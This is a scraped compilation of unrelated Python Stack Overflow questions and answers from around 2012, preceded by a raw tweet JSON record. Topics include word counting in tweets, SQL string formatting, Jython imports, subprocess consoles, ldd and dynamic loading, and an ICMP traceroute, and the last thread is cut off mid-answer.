{"favorited": false, "in_reply_to_user_id": 434884235, "contributors": null, "truncated": false, "text": "@nomimushi_ttk \u3068\u30fc\u3084\u3082\u7d20\u6575\u3060\u3051\u3069\u306e\u307f\u3080\u3057\u306e\u30a2\u30a4\u30b3\u30f3\u5929\u4f7f\u3059\u304e\u3066", "created_at": "Tue Apr 03 14:07:59 +0000 2012", "retweeted": false, "in_reply_to_status_id": 187179241664815105, "coordinates": null, "in_reply_to_user_id_str": "434884235", "entities": {"user_mentions": [{"indices": [0, 14], "screen_name": "nomimushi_ttk", "id": 434884235, "name": "\u306e\u307f\u3080\u3057", "id_str": "434884235"}], "hashtags": [], "urls": []}, "in_reply_to_status_id_str": "187179241664815105", "id_str": "187179645026836480", "in_reply_to_screen_name": "nomimushi_ttk", "user": {"follow_request_sent": null, "profile_use_background_image": true, "profile_background_image_url_https": "https://si0.twimg.com/images/themes/theme1/bg.png", "verified": false, "profile_image_url_https": "https://si0.twimg.com/profile_images/2023688835/6222d8ae387e6fb5b220895d2fd2d41a_normal.gif", "profile_sidebar_fill_color": "DDEEF6", "is_translator": false, "id": 365471550, "profile_text_color": "333333", "followers_count": 308, "protected": false, "location": "\u5b66\u5712\u30a2\u30ea\u30b9\u306b\u518d\u71b1\u306a\u3046", "default_profile_image": false, "listed_count": 17, "utc_offset": 32400, "statuses_count": 25562, "description": "\uff8c\uff9e\uff9a10/\u3046\u305f\u30d7\u30ea/HTF/\u3044\u306c\u307c\u304f\u306a\u3069\u306b\u304a\u71b1/\u5d50\u306e\u5927\u91ce\u304f\u3093\u3059\u304d\uff01\u64ec\u4eba\u5316\u3082\u3050\u3082\u3050/\u30a4\u30ca\u30a4\u30ec/RKRN/pkmn/\uff83\uff86\uff8c\uff9f\uff98/\u4e59\u5973\uff79\uff9e\uff70\u5168\u822c\u3082 [\u30bf\u30ab\u4e38\u3055\u3093\u30e2\u30b0\u30e2\u30b0\u30da\u30c3\u3063\u3066\u3057\u968a\u54e1No.2\uff3c\u526f\u968a\u9577\uff0f]\u3000\u898f\u5236\u57a2\u3010@ao_sanagi_2\u3011\u30a2\u30a4\u30b3\u30f3\u306f\u3068\u30fc\u3084\u304b\u3089\uff01", "friends_count": 284, "profile_link_color": "0084B4", "profile_image_url": "http://a0.twimg.com/profile_images/2023688835/6222d8ae387e6fb5b220895d2fd2d41a_normal.gif", "notifications": null, "show_all_inline_media": false, "geo_enabled": false, "profile_background_color": "C0DEED", "id_str": "365471550", "profile_background_image_url": "http://a0.twimg.com/images/themes/theme1/bg.png", "screen_name": "ao_sanagi", "lang": "ja", "profile_background_tile": false, "favourites_count": 1071, "name": "\u8475@\u6284\u82b1\u306e\u5ac1", "url": null, "created_at": "Wed Aug 31 14:07:23 +0000 2011", "contributors_enabled": false, "time_zone": "Tokyo", "profile_sidebar_border_color": "C0DEED", "default_profile": true, "following": null}, "place": null, "retweet_count": 0, "geo": null, "id": 187179645026836480, "source": "<a href=\"http://www.movatwi.jp\" rel=\"nofollow\">\u30e2\u30d0\u30c4\u30a4 / www.movatwi.jp .</a>"}
My end goal is to count the number of times a specific word occurs in the
"text" field of all the tweets. I have tried a number of different approaches
with varying degrees of success but here's where I'm at:
import fileinput
import json
import sys
import os
line = []
inputfilename = sys.argv[1]
for line in fileinput.input([inputfilename]):
tweettext = json.loads(line).get('text').split()
print tweettext
This loops through the file and splits the text up into the individual words
from each lines "text" field but does not create a single list of words. To
add to the issue when it runs into a blank line it fails:
[u'RT', u'@keenakan:', u'kamu', u'tidak', u'perlu', u'memperjuangkan', u'aku.', u'Yang', u'perlu', u'ialah', u'aku', u'dan', u'kamu', u'yang', u'memperjuangkan', u'kita.', u'-@commaditya']
[u'RT', u'@TheRealToxicBoi:', u'#LiesBeforeSex', u"I'll", u'be', u'Gentle!']
[u'@coliriostar', u'Quer', u'GANHAR', u'R$', u'300,00', u'em', u'vale', u'compra?', u'SIGA', u'@eucompronanet', u'e', u'saiba', u'como', u'participar,', u'\xe9', u'simples', u'e', u'r\xe1pido!', u'at\xe9', u'+', u'ci']
Traceback (most recent call last):
File "newexample.py", line 11, in <module>
tweettext = json.loads(line).get('text').split()
AttributeError: 'NoneType' object has no attribute 'split'
Can anyone suggest a solution?
edit:
Based on the first comment I've edited the code as follows based on my
understanding:
import fileinput
import json
import sys
import os
line = []
tw = 0
inputfilename = sys.argv[1]
for line in fileinput.input([inputfilename]):
line = line.strip();
if not line: continue
tweettext = json.loads(line).get('text')
if not json.loads(line).get('text'):
continue
words = tweettext.split()
print words
tw = len(words)
print "total number of words", tw
my output is looking better, at least I'm not getting the "Attribute Error:
NoneType" anymore. Now the output seems to consist of individual dictionaries
instead of just one large dict. Again my goal is count how many times each
word occurs and I'm not sure how to do that unless they are all in one dict.
Here's a sample of the output at this point:
[u'L', u'Lawliet', u'(Sweets', u'Addict)', u'+', u'Kenshin', u'Himura', u'(Samurai)', u'+', u'Kyon', u'(Lazy', u'and', u'Carefree', u'Bum)', u'=', u'Sakata', u'Gintoki', u'xD', u'May...', u'http://t.co/LD4E1j1v']
[u'Yay', u'~', u'I', u'have', u'ice~I', u'can', u'reach', u'the', u'ice', u'maker!', u'ch', u'sees', u'gaps', u'in', u'the', u'freezer', u'as', u'a', u'challenge', u'and', u"it's", u'usually', u'full', u'to', u'busting.', u'But', u'not', u'now', u'Haha!']
[u'Hoi']
[u'everyones', u'on', u'twitter.']
total number of words 429023
I would guess that I can probably setup counters for each word within the for
loop somehow.? As you you can see the total word count works fine because it
adds the number of words from each line, but I can't quite see how I would do
it to determine unique words like:
len(set(words))
EDIT:
Here's my final solution:
import fileinput
import json
import sys
import os
from collections import defaultdict
line = []
tw = 0
inputfilename = sys.argv[1]
word_count = defaultdict(int)
for line in fileinput.input([inputfilename]):
line = line.strip();
if not line: continue
tweettext = json.loads(line).get('text')
if not json.loads(line).get('text'):
continue
words = tweettext.split()
tw += len(words)
for word in words:
word_count[word]+=1
print word_count
print "total number of words", tw
Answer: You seem to be on right track just add error checking e.g.
Check if a line is blank before looading it as json , also strip the line just
to be sure e.g.
line = line.strip();
if not line: continue
Check if json data has really any text in it
if not json.loads(line).get('text'):
continue
After that you should loop thru words and may be create a dict e.g.
word_count = defaultdict(int)
for line in file:
# get words and add them to dict
for word in words:
word_count[word]+=1
|
Python TypeError when building query string
Question: I am building a query string.
query = "SELECT seqid, date, name, steamid, team, text, type, '%s' as triggerword, '%s' as weight FROM chatlogs WHERE date > '%s' AND text LIKE '%%%s%%' ORDER BY DATE" % (word, weight, self.setting['LAST_RUN_TIME'], word)
If I print the string, it returns correctly:
SELECT seqid, date, name, steamid, team, text, type, 'hunting_term' as triggerword, '0.01' as weight FROM chatlogs WHERE date > '2012-04-18 23:47:58.439124' AND text LIKE '%hunting_term%' ORDER BY DATE
However, it then fails with a TypeError exception: TypeError: not enough
arguments for format string
Full code:
import database
mysqldb = database.Connection('localhost','mydb',user='myuser',password='mypass')
word = 'hunting_term'
weight = 0.01
setting = dict({'LAST_RUN_TIME':'2012-04-18 23:47:58.439124'})
query = "SELECT seqid, date, name, steamid, team, text, type, '%s' as triggerword, '%s' as weight FROM chatlogs WHERE date > '%s' AND text LIKE '%%%s%%' ORDER BY DATE" % (word, weight, setting['LAST_RUN_TIME'], word)
print query
for message in mysqldb.query(query): # This is the line it throws the exception on
print "A row"
database is from the
[tornado](https://github.com/facebook/tornado/blob/master/tornado/database.py)
package
Answer: The issue here is that the eventual call to MySQLdb looks something like this:
query = "SELECT seqid, date, name, steamid, team, text, type, 'hunting_term' as triggerword, '0.01' as weight FROM chatlogs WHERE date > '2012-04-18 23:47:58.439124' AND text LIKE '%hunting_term%' ORDER BY DATE"
db.cursor().execute(query, ())
The first argument to `db.cursor().execute()` should be a format string, and
the second argument should be the replacements for that format string, you can
see this in the [MySQLdb docs](http://mysql-
python.sourceforge.net/MySQLdb.html#some-examples). In other words it will
execute the following code:
query % ()
As you can see, this will cause the same TypeError:
>>> query % ()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: not enough arguments for format string
This means that any literal `%` that you want MySQL to see needs to be a `%%`
when it is seen by `db.cursor().execute()`, so you should be able to fix this
by changing your original format string to the following:
query = "SELECT seqid, date, name, steamid, team, text, type, '%s' as triggerword, '%s' as weight FROM chatlogs WHERE date > '%s' AND text LIKE '%%%%%s%%%%' ORDER BY DATE" % (word, weight, self.setting['LAST_RUN_TIME'], word)
However the correct way to do this is to let MySQLdb perform the substitutions
for you, which would change your code to the following:
query = "SELECT seqid, date, name, steamid, team, text, type, %s as triggerword, %s as weight FROM chatlogs WHERE date > %s AND text LIKE %s ORDER BY DATE"
parameters = (word, weight, setting['LAST_RUN_TIME'], '%%%s%%' % word)
for message in mysqldb.query(query, *parameters):
print "A row"
|
Python UDF for piglatin script not finding re module
Question: I'm having trouble creating a UDF for a piglatin script I'm using. My problem
is that when I run the script with `pig script.pig` I get the following error:
[main] ERROR org.apache.pig.tools.grunt.Grunt - ERROR 1121: Python Error. Traceback (most recent call last):
File "utils.py", line 3, in <module>
import re
ImportError: No module named re
And on my "utils.py" script, I'm importing the module like so: `import re`
Why is it not finding the `re` module and how can I fix it?
**Edit** I should note that if I run the python script directly using the
`python` command, I don't get an error saying that it couldn't find the `re`
module.
**Edit 2**
Ok, based on the comments, I installed jython (which wasn't installed on my
system) and here are the outputs of `print sys.path` for my script:
_Using python_
['/home/hduser/bqmScripts/betsScripts', '/usr/lib/python2.6', '/usr/lib/python2.6/plat-linux2', '/usr/lib/python2.6/lib-tk', '/usr/lib/python2.6/lib-old', '/usr/lib/python2.6/lib-dynload', '/usr/lib/python2.6/dist-packages', '/usr/lib/python2.6/dist-packages/PIL', '/usr/lib/python2.6/dist-packages/gst-0.10', '/usr/lib/pymodules/python2.6', '/usr/lib/python2.6/dist-packages/gtk-2.0', '/usr/lib/pymodules/python2.6/gtk-2.0', '/usr/local/lib/python2.6/dist-packages']
_Using Jython_
['', '/usr/share/jython/Lib', '/usr/lib/site-python', '__classpath__']
_Using pig_
['/pig/lib/Lib', '__classpath__', '__pyclasspath__/']
After seeing this, I tried to add the missing path elements from jython into
the pig version, and what I get now is this:
File "utils.py", line 8, in <module>
import re
File "/usr/share/jython/Lib/re.py", line 7, in <module>
import sre, sys
File "/usr/share/jython/Lib/sre.py", line 97, in <module>
import sre_compile
File "/usr/share/jython/Lib/sre_compile.py", line 17, in <module>
assert _sre.MAGIC == MAGIC, "SRE module mismatch"
AssertionError: SRE module mismatch
**SOLVED**
To solve my latest error message I looked for the version of jython that my
pig installation was using (2.5) and installed that one manually. That fixed
the issue.
Answer: `re` is part of the stdlib, therefore either your Python installation is
broken or incomplete, or something has damaged the contents of `sys.path`.
|
subprocess: PyDev console vs. cmd.exe
Question: I'm trying to call a process from python using subprocess.call as shown below:
from subprocess import call
exePath = 'C:\\Test\\EXE.exe'
inPath = 'C:\\Test\\IN.in'
outPath = 'C:\\Test\\OUT.out'
call([exePath, inPath, outPath])
This prints a few lines from EXE.exe followed by "The handle is invalid" --
but as a string, not as an error, which makes me think it might be a message
from the EXE.exe:
Unzipping Solution...
0.0% The handle is invalid.
However when I open cmd.exe and paste in:
C:\Test\EXE.exe C:\Test\IN.in C:\Test\OUT.out
it works fine.
Can someone point me in the right direction?
Thanks!
I'm running Python 2.7 64-bit on Windows 7.
**EDIT:**
It looks now like a problem in PyDev where the console cannot handle the the
stdout from the process overwriting lines. The code runs fine from IDLE. Still
looking for a fix for PyDev...
Answer: I think you're having this issue because PyDev is not a real terminal (i.e.:
in Python, os.isatty() will return False when run from PyDev).
If the exe really relies on having a terminal, currently there's not much that
PyDev can do...
For now, you can make your call from Python as:
In windows:
popen = subprocess.Popen(['myexe', 'params'], creationflags=subprocess.CREATE_NEW_CONSOLE)
popen.wait()
In Linux (as the CREATE_NEW_CONSOLE is not available):
args = ['xterm', '-e'] + ['myexe', 'params']
popen = subprocess.Popen(args)
popen.wait()
so that it works regardless of who's calling it :)
I think Aptana Studio does have an actual terminal replacement, but there's no
PyDev integration to launch things on it...
|
copy function in class definition in python
Question: Im doing a class for polynomial and i have a problem with a copy function. It
suppose to create a copy of the Poly object and return a reference to the new
Poly object. Im really stuck on this copy idea. Thanks for any help
class Poly:
def __init__ (self, p):
self.a = p
self.deg= len(p) -1
if len(p) == 1 and p[0] == 0:
self.deg = -1
def evalPoly(self,x0):
''' evaluates the polynomial at value x'''
b=0
for coefficients in reversed(self.a):
b=b*x0+int(coefficients)
return b
def polyPrime(self):
'''replaces the coeffiecients of self with the coefficients
of the derivative polynomial '''
if self.deg == 0:
return np.zeroes(1,float), 0
else:
newdeg=self.deg-1
p=[i*self.a[i] for i in range(1,self.deg+1)]
p=str(p)[1: -1]
p=eval(p)
return p
def copy(self):
return Poly(self.a)
I'm stuck on how to create a copy of the Poly object and return a reference to
the new Poly object
Answer: I think the problem you are having is that as `self.a` is a list then you are
passing a reference to that list in the instantiation of the new Poly object.
You should copy the list and give that copy to instantiate the object:
import copy
class Poly:
...
def copy(self):
return Poly(copy.copy(self.a))
|
What's the best way to load large JSON lists in Python?
Question: I have access to a set of files (around 80-800mb each). Unfortunately, there's
only one line in every file. The line contains exactly one JSON object (a list
of lists). What's the best way to load and parse it into smaller JSON objects?
Answer: There is already a similar post
[here](http://stackoverflow.com/q/7052947/1332690). Here is the solution they
proposed:
import json
with open('file.json') as infile:
o = json.load(infile)
chunkSize = 1000
for i in xrange(0, len(o), chunkSize):
with open('file_' + str(i//chunkSize) + '.json', 'w') as outfile:
json.dump(o[i:i+chunkSize], outfile)
|
Access information of containing list in python
Question: I'm writing a script that can help me documenting our network rooms.
The idea behind that script is that a room is a list, that contains several
lists for the racks. The rack lists contain lists called module with the
servers/switches/etc. in the module list are the actual ports with the cable
numbers.
For example:
[04/02, [MM02, [1, #1992, 2, #1993, 3, #1567 ....], MM03, [1, #1234 .....]], 04/03, [MM01, .........]]]
`04/02` = First Rack
`MM02` = First module in that rack
`1` = Port number
`#1992` = Cable number
I hope you get the idea.
The script I wrote compares the cable numbers in the room list, and looks if
there are duplicates. Now it gets tricky: It should then replace the cable
number with the rack and module of the other port. That should be pretty easy,
because module and rack are the first elements of those lists that contain the
port, but I don't know how to get access to the information. (I'm a noob in
programming)
Answer: As mentioned in the commends, the much better data structure to use here is
nested [`dict`s](http://docs.python.org/library/stdtypes.html#mapping-types-
dict):
data = {
"04/02": {
"MM02": {1: "#1992", 2: "#1993", 3: "#1567", ...},
"MM03": {1: "#1234", ...},
...
},
"04/03": {
"MM01": ...
...
},
...
}
Then you simply do `data["04/02"]["MM02"] = {1: "#1992", 2: "#1993", 3:
"#1567", ...}` to replace values, however, this has the disadvantage of
meaning you need to manually create the sub-dictionaries - there are, however,
[solutions to this problem](http://stackoverflow.com/questions/10218486/set-
nested-dict-value-and-create-intermediate-
keys/10218652#comment13126770_10218652) e.g:
from functools import partial
from collections import defaultdict
tripledict = partial(defaultdict, partial(defaultdict, dict))
mydict = tripledict()
mydict['foo']['bar']['foobar'] = 25
These not only have advantages in readability and usability, but also speed of
access.
|
Determine which version of OpenCV
Question: I want to write to short code snippet in python, to determine which version of
OpenCV has been installed in my System. How do i do it ? Thank you.
Answer:
>>> from cv2 import __version__
>>> __version__
'$Rev: 4557 $'
If that doesn't work then, use `cv` instead of `cv2`.
|
python beginner - faster way to find and replace in large file?
Question: I have a file of about 100 million lines in which I want to replace text with
alternate text stored in a tab-delimited file. The code that I have works, but
is taking about an hour to process the first 70K lines.In trying to
incrementally advance my python skills, I am wondering whether there is a
faster way to do this. Thanks! The input file looks something like this:
> CHROMOSOME_IV ncRNA gene 5723085 5723105 . - . ID=Gene:WBGene00045518
> CHROMOSOME_IV ncRNA ncRNA 5723085 5723105 . - . Parent=Gene:WBGene00045518
and the file with replacement values looks like this:
> WBGene00045518 21ur-5153
Here is my code:
infile1 = open('f1.txt', 'r')
infile2 = open('f2.txt', 'r')
outfile = open('out.txt', 'w')
import re
from datetime import datetime
startTime = datetime.now()
udict = {}
for line in infile1:
line = line.strip()
linelist = line.split('\t')
udict1 = {linelist[0]:linelist[1]}
udict.update(udict1)
mult10K = []
for x in range(100):
mult10K.append(x * 10000)
linecounter = 0
for line in infile2:
for key, value in udict.items():
matches = line.count(key)
if matches > 0:
print key, value
line = line.replace(key, value)
outfile.write(line + '\n')
else:
outfile.write(line + '\n')
linecounter += 1
if linecounter in mult10K:
print linecounter
print (datetime.now()-startTime)
infile1.close()
infile2.close()
outfile.close()
Answer: You should split your lines into "words" and only look up these words in your
dictionary:
>>> re.findall(r"\w+", "CHROMOSOME_IV ncRNA gene 5723085 5723105 . - . ID=Gene:WBGene00045518 CHROMOSOME_IV ncRNA ncRNA 5723085 5723105 . - . Parent=Gene:WBGene00045518")
['CHROMOSOME_IV', 'ncRNA', 'gene', '5723085', '5723105', 'ID', 'Gene', 'WBGene00045518', 'CHROMOSOME_IV', 'ncRNA', 'ncRNA', '5723085', '5723105', 'Parent', 'Gene', 'WBGene00045518']
This will eliminate the loop over the dictionary you do for every single line.
Here' the complete code:
import re
with open("f1.txt", "r") as infile1:
udict = dict(line.strip().split("\t", 1) for line in infile1)
with open("f2.txt", "r") as infile2, open("out.txt", "w") as outfile:
for line in infile2:
for word in re.findall(r"\w+", line):
if word in udict:
line = line.replace(word, udict[word])
outfile.write(line)
**Edit** : An alternative approach is to build a single mega-regex from your
dictionary:
with open("f1.txt", "r") as infile1:
udict = dict(line.strip().split("\t", 1) for line in infile1)
regex = re.compile("|".join(map(re.escape, udict)))
with open("f2.txt", "r") as infile2, open("out.txt", "w") as outfile:
for line in infile2:
outfile.write(regex.sub(lambda m: udict[m.group()], line))
|
Python writing results out to a file
Question: I have the following script which thanks to the help of everyone is almost
done as it now prints out the results to the screen. I am also looking to add
one more step which will take this same screen output and dump it to a text
file.
I thought this was done with `file.write()`
but dont know how to get it to write the information from results to a file.
Please help, I am very new to python so I am a bit lost and trying to figure
it out from the book.
This now prints out but just the last line of what is being returned by the
query. Ultimately it is probably just printing one line and then overwriting
it again and again so I need it to print the whole of the fetch all or results
import adodbapi
# Connect to the SQL DB
conn = adodbapi.connect("Provider=SQLOLEDB; SERVER=xx.x.xx.x; Initial Catalog=master_db;User Id=user; Password=pass; ")
curs = conn.cursor()
# Execute SQL procedure things_referencing"
curs.execute('util.things_procedure', )
results = curs.fetchall()
for row in results:
print row
f = open('test.txt', 'w')
s = str(row)
f.write(s)
f.close()
conn.close()
Answer: Each "row" in the "results" tuple is a record tuple. How you want to format
this data is up to you, but at the most basic level you can convert it to a
string with `str(row)`
Now go read the python docs on how to read and write files:
<http://docs.python.org/tutorial/inputoutput.html>
**Update**
Referring to your new code example, you are doing the for loop and printing
each row, and then you are opening a file and only writing the last value that
row was assigned from your for loop. Your for loop that prints is unrelated to
the write operation you then do. `row` had been assigned every value of
`results`, but you only used the last assigned value, once.
What you should do is first open the file, then start your loop, writting
every value of row:
with open('test.txt', 'w') as f:
for row in results:
print row
f.write("%s\n" % str(row))
If you use the `with` context, it will automatically close the file for you
once you leave that scope. Instead of only converting to a string using `str`
you can use string formatting, and add a newline character.
|
checking shared libraries for non default loaders
Question: `ldd` is a good simple way to check for shared libraries a given executable is
or will be using. However it does not always work as expected. For example,
see the following shell snippet that demonstrates how it "fails" to found the
libreadline "dependency" into the python binary
I've tried many other distributions, but I'm copying from Tikanga
$ lsb_release -a
LSB Version: :core-4.0-amd64:core-4.0-ia32:core-4.0-noarch:graphics-4.0-amd64:graphics-4.0-ia32:graphics-4.0-noarch:printing-4.0-amd64:printing-4.0-ia32:printing-4.0-noarch
Distributor ID: RedHatEnterpriseServer
Description: Red Hat Enterprise Linux Server release 5.6 (Tikanga)
Release: 5.6
Codename: Tikanga
See what `ldd` does on the default installed `python` (from official
repositories).
$ which python
/usr/bin/python
$ ldd `which python`
libpython2.4.so.1.0 => /usr/lib64/libpython2.4.so.1.0 (0x00000030e6200000)
libpthread.so.0 => /lib64/libpthread.so.0 (0x00000030e0e00000)
libdl.so.2 => /lib64/libdl.so.2 (0x00000030e0a00000)
libutil.so.1 => /lib64/libutil.so.1 (0x00000030ee800000)
libm.so.6 => /lib64/libm.so.6 (0x00000030e0600000)
libc.so.6 => /lib64/libc.so.6 (0x00000030e0200000)
/lib64/ld-linux-x86-64.so.2 (0x00000030dfe00000)
$ ldd `which python` | grep readline
$
Nothing found about readline. Now I do know from interactive usage that this
binary does have realine functionality, so let't try to see where it's coming
from.
$ python &
[1] 21003
$ Python 2.4.3 (#1, Dec 10 2010, 17:24:35)
[GCC 4.1.2 20080704 (Red Hat 4.1.2-50)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
[1]+ Stopped python
Started an interactive python session in background (pid 21003)
$ lsof -p 21003
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
python 21003 ddvento cwd DIR 0,33 16384 164304 /glade/home/ddvento/loader-test
python 21003 ddvento rtd DIR 8,3 4096 2 /
python 21003 ddvento txt REG 8,3 8304 6813419 /usr/bin/python
python 21003 ddvento mem REG 8,3 143600 8699326 /lib64/ld-2.5.so
python 21003 ddvento mem REG 8,3 1722304 8699327 /lib64/libc-2.5.so
python 21003 ddvento mem REG 8,3 615136 8699490 /lib64/libm-2.5.so
python 21003 ddvento mem REG 8,3 23360 8699458 /lib64/libdl-2.5.so
python 21003 ddvento mem REG 8,3 145824 8699445 /lib64/libpthread-2.5.so
python 21003 ddvento mem REG 8,3 247544 6821551 /usr/lib64/libreadline.so.5.1
python 21003 ddvento mem REG 8,3 15840 8699446 /lib64/libtermcap.so.2.0.8
python 21003 ddvento mem REG 8,3 1244792 6833317 /usr/lib64/libpython2.4.so.1.0
python 21003 ddvento mem REG 8,3 18152 8699626 /lib64/libutil-2.5.so
python 21003 ddvento mem REG 8,3 56446448 6832889 /usr/lib/locale/locale-archive
python 21003 ddvento mem REG 8,3 21808 6965997 /usr/lib64/python2.4/lib-dynload/readline.so
python 21003 ddvento mem REG 8,3 25464 6901074 /usr/lib64/gconv/gconv-modules.cache
python 21003 ddvento 0u CHR 136,1 3 /dev/pts/1
python 21003 ddvento 1u CHR 136,1 3 /dev/pts/1
python 21003 ddvento 2u CHR 136,1 3 /dev/pts/1
$ lsof -p 21003 | grep readline
python 21003 ddvento mem REG 8,3 247544 6821551 /usr/lib64/libreadline.so.5.1
python 21003 ddvento mem REG 8,3 21808 6965997 /usr/lib64/python2.4/lib-dynload/readline.so
Bingo! Here it is readline!
However, this technique works only when the library is effectively loaded, so
for example it does not find `/usr/lib64/libtcl8.4.so` until the python
process does not run something like `from Tkinter import *`
So I have two questions:
1. I believe the problem with `ldd` is that it assumes the usage of the standard loader, whereas very likely python is using its own special loader (so that you don't have to relink the executable every time you install a new python module that is not pure python but has some c/c++/fortran code). Is this correct?
2. Clearly, if an executable is using its own loader, there is no obvious answer to the question "how to find all the possible libraries this executable may load": it depends on what the loader does. But is there a way to find out what libraries may be loaded by python?
PS: related to 1. If you are landing on this question you should already know
the following, but if don't you should: see how simple is to completely mess
up `ldd` output (messing it up only partially is a little harder):
$ cat hello.c
#include <stdio.h>
int main() {
printf("Hello world.\n");
return 0;
}
$ gcc -static hello.c -o loader
$ gcc -Wl,--dynamic-linker,./loader hello.c -o hello
$ ./hello
Hello world.
$ ldd ./hello
Hello world.
Answer: Python, Perl, and other interpreted languages do load things dynamically using
`dlopen()`. (This is not the same thing as replacing the standard loader; they
are still using that, and in fact `dlopen()` is a hook into the standard
loader on ELF-based systems.)
There is no standard registry for loadable modules. Python uses its own rules
to determine where extension modules can be loaded from (look at `sys.path`),
including those which have associated shared objects. Perl uses different
rules. Apache uses still different rules, etc.
So to summarize the answers to your questions:
1. not exactly
2. no
|
Python - getting text from html
Question: How to extract text 'ROYAL PYTHON' from this html code in a nice way? I've
been looking for the solution for 4hours and I haven't found anything really
relevant and working.
<div class="definicja"><a href="javascript: void(0);"
onclick="play('/mp3/1/81/c5ebfe33a08f776931d69857169f0442.mp3')"
class="ikona_sluchaj2"></a> <a href="/slownik/angielsko_polski/,royal+python">ROYAL
PYTHON</a></div>
Answer: As Joel Cornett mentioned, using
[BeautifulSoup](http://www.crummy.com/software/BeautifulSoup/) like this:
from bs4 import BeautifulSoup
html = '''<div class="definicja"><a href="javascript: void(0);" onclick="play('/mp3/1/81/c5ebfe33a08f776931d69857169f0442.mp3')" class="ikona_sluchaj2"></a> <a href="/slownik/angielsko_polski/,royal+python">ROYAL PYTHON</a></div>'''
soup = BeautifulSoup(html)
print soup.getText()
|
How to create an ICMP traceroute in Python
Question: I am trying to implement an ICMP based Traceroute in Python.
I found a very helpful guide (
<https://blogs.oracle.com/ksplice/entry/learning_by_doing_writing_your> ) that
has allowed me to create a UDP based Traceroute (code below) so just needs
modification. I have tried changing the send socket to ICMP however I can't
get anything to run without exceptions.
Note - The below code works however this is a UDP traceroute (sends a UDP
packet and receives an ICMP one) and I need my program to send an ICMP packet
and receive an ICMP packet. This is because these days firewalls are smarter
than they used to be and don't always send an ICMP response after receiving a
UDP packet for a random port. Essentially the UDP socket needs to be changed
for an ICMP one.
I guess this isn't the most common thing to try and achieve and am having
trouble researching on the net on how to do this. If anybody can provide some
insight it would be REALLY appreciated :-)
Main point to remember is that traceroutes work by setting the TTL so if the
solution is to use an ICMP library then it needs to have a configurable TTL
:-)
#!/usr/bin/python
import socket
def main(dest_name):
dest_addr = socket.gethostbyname(dest_name)
port = 33434
max_hops = 30
icmp = socket.getprotobyname('icmp')
udp = socket.getprotobyname('udp')
ttl = 1
while True:
recv_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp)
send_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, udp)
send_socket.setsockopt(socket.SOL_IP, socket.IP_TTL, ttl)
recv_socket.bind(("", port))
send_socket.sendto("", (dest_name, port))
curr_addr = None
curr_name = None
try:
_, curr_addr = recv_socket.recvfrom(512)
curr_addr = curr_addr[0]
try:
curr_name = socket.gethostbyaddr(curr_addr)[0]
except socket.error:
curr_name = curr_addr
except socket.error:
pass
finally:
send_socket.close()
recv_socket.close()
if curr_addr is not None:
curr_host = "%s (%s)" % (curr_name, curr_addr)
else:
curr_host = "*"
print "%d\t%s" % (ttl, curr_host)
ttl += 1
if curr_addr == dest_addr or ttl > max_hops:
break
if __name__ == "__main__":
main('google.com')
Answer: Here is the solution using Scapy - thanks to KillianDS.
Sending the ping
ans,unans=sr(IP(dst="www.google.com",ttl=X)/ICMP())
Accessing the reply
ans.summary(lambda (s,r): r.sprintf("%IP.src%") )
|
Unexpected whitespace in python generated strings
Question: I am using Python to generate an ASCII file composed of very long lines. This
is one example line (let's say line 100 in the file, '[...]' are added by me
to shorten the line):
{6 1,14 1,[...],264 1,270 2,274 2,[...],478 1,479 8,485 1,[...]}
If I open the ASCII file that I generated with ipython:
f = open('myfile','r')
print repr(f.readlines()[99])
I do obtain the expected line printed correctly ('[...]' are added by me to
shorten the line):
'{6 1,14 1,[...],264 1,270 2,274 2,[...],478 1,479 8,485 1,[...]}\n'
On the contrary, if I open this file with the program that is suppose to read
it, it will generate an exception, complaining about an unexpected pair after
478 1. So I tried to open the file with _vim_. Still _vim_ shows no problem,
but if I copy the line as printed by _vim_ and paste it in another text editor
(in my case _TextMate_), this is the line that I obtain ('[...]' are added by
me to shorten the line):
{6 1,14 1,[...],264 1,270 2,274 2,[...],478 1,4 79 8,485 1,[...]}
This line indeed has a problem after the pair 478 1. I tried to generate my
lines in different ways (concatenating, with cStringIO, ...), but I always
obtain this result. When using the cStringIO, for example, the lines are
generated as in the following (even though I tried to change this, as well,
with no luck):
def _construct_arff(self,attributes,header,data_rows):
"""Create the string representation of a Weka ARFF file.
*attributes* is a dictionary with attribute_name:attribute_type
(e.g., 'num_of_days':'NUMERIC')
*header* is a list of the attributes sorted
(e.g., ['age','name','num_of_days'])
*data_rows* is a list of lists with the values, sorted as in the header
(e.g., [ [88,'John',465],[77,'Bob',223]]"""
arff_str = cStringIO.StringIO()
arff_str.write('@relation %s\n' % self.relation_name)
for idx,att_name in enumerate(header):
try:
name = att_name.replace("\\","\\\\").replace("'","\\'")
arff_str.write("@attribute '%s' %s\n" % (name,attributes[att_name]))
except UnicodeEncodeError:
arff_str.write('@attribute unicode_err_%s %s\n'
% (idx,attributes[att_name]))
arff_str.write('@data\n')
for data_row in data_rows:
row = []
for att_idx,att_name in enumerate(header):
att_type = attributes[att_name]
value = data_row[att_idx]
# numeric attributes can be sparse: None and zeros are not written
if ((not att_type == constants.ARRF_NUMERIC)
or not ((value == None) or value == 0)):
row.append('%s %s' % (att_idx,value))
arff_str.write('{' + (','.join(row)) + '}\n')
return arff_str.getvalue()
**UPDATE** : As you can see from the code above, the function transforms a
given set of data to a special arff file format. I noticed that one of the
attributes I was creating contained numbers as strings (e.g., '1', instead of
1). By forcing these numbers into integers:
features[name] = int(value)
I recreated the arff file successfully. However I don't see how this, which is
a value, can have an impact on the formatting of *att_idx*, which is always an
integer, as also pointed out by @JohnMachin and @gnibbler (thanks for your
answers, btw). So, even if my code runs now, I still don't see why this
happens. How can the value, if not properly transformed into _int_ , influence
the formatting of something else?
[This file](http://db.tt/7rJt9bYU) contains the wrongly formatted version.
Answer: The built-in function
[repr](http://docs.python.org/library/functions.html#repr) is your friend. It
will show you unambiguously what you have in your file.
Do this:
f = open('myfile','r')
print repr(f.readlines()[99])
and edit your question to show the result.
Update: As to how it got there, it is impossible to tell, because **it cannot
have been generated by the code that you showed**. The value `37` should be a
value of att_idx which comes from `enumerate()` and so must be an int. You are
formatting this int with %s ... 37 can't become `3rubbish7`. Also that should
generate att_idx in order 0, 1, etc etc but you are missing many values and
there is nothing conditional inside your loop.
**Please show us the code that you actually ran.**
**Update** :
And again, this code won't run:
